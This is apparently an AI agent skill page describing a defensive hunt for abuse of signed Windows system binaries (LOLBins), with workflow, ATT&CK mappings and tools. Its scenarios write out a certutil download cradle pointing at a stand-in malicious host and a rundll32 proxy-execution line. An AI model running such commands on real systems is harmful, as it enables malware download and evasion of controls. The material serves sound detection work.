Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.
Start a fresh conversation. Replace the highlighted placeholders.
Use hunting-for-living-off-the-land-binaries to conduct a defensive LOLBin hunt over [authorized telemetry sources, time range, and investigation hypothesis], baseline relevant legitimate activity, correlate anomalies, and deliver a documented hunt report with evidence, IOCs, detection-rule recommendations, and next steps.
Required inputs
[authorized telemetry sources, time range, and investigation hypothesis]
User-approved starter prompt based on a pinned source version; check current skill requirements before running. Task evidence ↗
SKILL.md
name: hunting-for-living-off-the-land-binariesdescription: Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.domain: cybersecuritysubdomain: threat-huntingtags: - threat-hunting- mitre-attack- lolbins- edr- siem- proactive-detection- defense-evasionversion: '1.0'author: mahipallicense: Apache-2.0d3fend_techniques: - Executable Denylisting- Execution Isolation- File Metadata Consistency Validation- Application Protocol Command Analysis- Content Format Conversionnist_csf: - DE.CM-01- DE.AE-02- DE.AE-07- ID.RA-05mitre_attack: - T1046- T1057- T1082- T1083- T1027
Hunting for Living-off-the-Land Binaries (LOLBins)
When to Use
When investigating fileless malware campaigns that bypass traditional AV
During proactive threat hunts targeting defense evasion techniques
When EDR alerts fire on legitimate binaries executing unusual child processes
After threat intelligence reports indicate LOLBin abuse in active campaigns
During red team/purple team exercises validating detection coverage for T1218
Prerequisites
Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
Network proxy or firewall logs for correlating outbound connections
Workflow
Define Hunt Hypothesis: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
Identify Target LOLBins: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
Collect Process Telemetry: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
Baseline Normal Behavior: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
Identify Anomalies: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
Correlate and Enrich: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
Document and Report: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.
Key Concepts
Concept
Description
LOLBin
Legitimate OS binary abused by attackers for malicious purposes
LOLBAS Project
Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts
T1218
MITRE ATT&CK - Signed Binary Proxy Execution
T1218.001
Compiled HTML File (mshta.exe)
T1218.002
Control Panel (control.exe)
T1218.003
CMSTP
T1218.005
Mshta
T1218.010
Regsvr32
T1218.011
Rundll32
T1197
BITS Jobs (bitsadmin.exe)
T1140
Deobfuscate/Decode Files (certutil.exe)
Proxy Execution
Using trusted binaries to execute untrusted code
Fileless Attack
Attack that operates primarily in memory without dropping files
Tools & Systems
Tool
Purpose
CrowdStrike Falcon
EDR telemetry and process tree analysis
Microsoft Defender for Endpoint
Advanced hunting with KQL queries
Splunk
SIEM log aggregation and SPL queries
Elastic Security
Detection rules and timeline investigation
Sysmon
Detailed process creation and network logging
LOLBAS Project
Reference database of LOLBin capabilities
Sigma Rules
Generic detection rule format for LOLBins
Velociraptor
Endpoint forensic collection and hunting
Common Scenarios
Certutil Download Cradle: Adversary uses certutil.exe -urlcache -split -f http://malicious.com/payload.exe to download malware, bypassing web proxies that allow certutil traffic.
Mshta HTA Execution: Attacker delivers HTA file via email that executes VBScript payload through mshta.exe, which is a signed Microsoft binary.
Rundll32 DLL Proxy Load: Malicious DLL loaded via rundll32.exe shell32.dll,ShellExec_RunDLL to proxy execution through a trusted binary.